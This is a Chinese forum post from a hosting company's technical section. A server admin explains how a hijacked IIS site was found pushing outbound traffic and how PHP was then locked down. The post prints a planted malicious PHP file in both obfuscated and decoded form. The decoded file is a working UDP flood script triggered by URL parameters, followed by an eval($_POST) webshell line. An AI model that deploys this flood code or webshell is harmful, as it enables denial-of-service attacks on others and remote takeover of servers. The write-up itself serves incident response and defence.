» 您尚未 登录   注册 | 社区服务 | 帮助 | 社区 | 无图版


常州五颜六色网络技术有限公司 -> 技术文档 -> w3wp.exe流量异常解决经历(部分服务器存在类似情况)
 XML   RSS 2.0   WAP 

--> 本页主题: w3wp.exe流量异常解决经历(部分服务器存在类似情况) 加为IE收藏 | 收藏主题 | 上一主题 | 下一主题
askloopp




该用户目前不在线
级别: 侠客
精华: 0
发帖: 27
威望: 0 点
金钱: 39 RMB
贡献值: 0 点
在线时间:10(小时)
注册时间:2009-04-16
最后登录:2013-03-26
查看作者资料 发送短消息 推荐此帖 引用回复这个帖子

w3wp.exe流量异常解决经历(部分服务器存在类似情况)

近来有一两台服务器网络常出现问题,甚至断网,PING直接大量掉包。重启后正常。

后经查,带宽占用过高,出现问题时带宽占用百分之一百。初步估计是有攻击了,使用监控观察,有少量UDP攻击(据经验如此量的UDP是不会占用一百M的,也十分疑惑)。启动攻击防御措施,但无济于事。后查看单个网站带宽,也没有异常。
查看带宽进出的吞吐量,当带宽占用过高的时候,是发送字节吞吐量占用百分之一百。而接收几乎为零。这不像是DDOS攻击,不排除会有“下载攻击”。搜索大型压缩文件、视频文件、应用程序并禁止下载。还是会出现类似的情况。
后装入DU METER和某一个带有流量监控功能的软件。等待“攻击”再次到来。“攻击”过后登陆后查看,确实是长时间占用了大量带宽。查看是W3WP.EXE发送的流量比较多。达数十G之巨。记录每一个W3WP.EXE进程的PID并使用IISAPP查看对应的程序池。结束发送流量最大的W3WP.EXE,再查看少了哪一个W3WP.EXE对应的程序池。跟着把当前程序池下所有的网站分池。设置每一个网站单独一个程序池。再一次等待“攻击”。等新的“攻击”来后,再使用上面的方法查到是某一个程序池,这样就查到了出问题的站点。仔细检查后,网站内除了HTM文件、部分图片和一个PHP文件外,仅有一个目录里含有ASP文件。直接停止含ASP文件的目录读取权限。问题还是存在,所以把目光盯到PHP文件上。查看IIS日志后看到有这么一行日志2010-09-05 13:21:25 W3SVC83 60.191.XXX.XXX GET /help.php ip=222.87.129.XXX&port=80&time=7200 80 - 122.225.115.XXX Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 401 5 5 1726 410。 问题就已经很清楚了。在浏览器里面输入WWW.域名.COM/help.php ip=222.87.129.XXX&port=80&time=7200服务器带宽占用立马涨为百分之一百。
查到问题所在,分析PHP文件。

源文件:
<?php eval(gzinflate(base64_decode('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));
解密后:
<?php


$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();
print 'Flooded: $ip on port $rand <br><br>';
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
    $out .= 'X';
}
while(1){
$packets++;
    if(time() > $max_time){
          break;
    }
   
    $fp = fsockopen('udp://$ip', $rand, $errno, $errstr, 5);
    if($fp){
          fwrite($fp, $out);
          fclose($fp);
    }
}
echo 'Packet complete at '.time('h:i:s').' with $packets (' . round(($packets*65)/1024, 2) . ' mB) packets averaging '. round($packets/$exec_time, 2) . ' packets/s n';
?>
<?php eval($_POST[ddos])?>

有了代码,那工作原理也就很清楚了。
整体来说,不是受攻击了。而是攻击别人了。


解决办法:

不允许PHP使用网络,把php.ini里的allow_url_fopen 值改为allow_url_fopen = Off

如果不行

;extension=php_sockets.dll (限制使用sockets.dll)
;ignore_user_abort = On
这两项前加上分号。
但默认这两项就是这样设置的。防止某些同志手动打开了的。
然后重启IIS。

[楼 主] | Posted: 2012-02-27 15:23 顶端
askloopp




该用户目前不在线
级别: 侠客
精华: 0
发帖: 27
威望: 0 点
金钱: 39 RMB
贡献值: 0 点
在线时间:10(小时)
注册时间:2009-04-16
最后登录:2013-03-26
查看作者资料 发送短消息 推荐此帖 引用回复这个帖子



补充:程序池对应的W3CP程序PID查看方法,CMD下执行iisapp -a,第一次执行需要注册组件,确定过去就行了,然后再执行一次就可以看到了!
[1 楼] | Posted: 2012-02-27 15:44 顶端

常州五颜六色网络技术有限公司 -> 技术文档



Copyright © 2005-2009 5y6s Inc. 苏ICP备05001866号 Powered by PHPWind 5.0.1
Total 0.017476(s) query 5, Gzip enabled
会员言论不代表本站立场 本站法律顾问:北京汇泽律师事务所 韩律师
QQ:点击这里给我发消息 /点击这里给我发消息 /点击这里给我发消息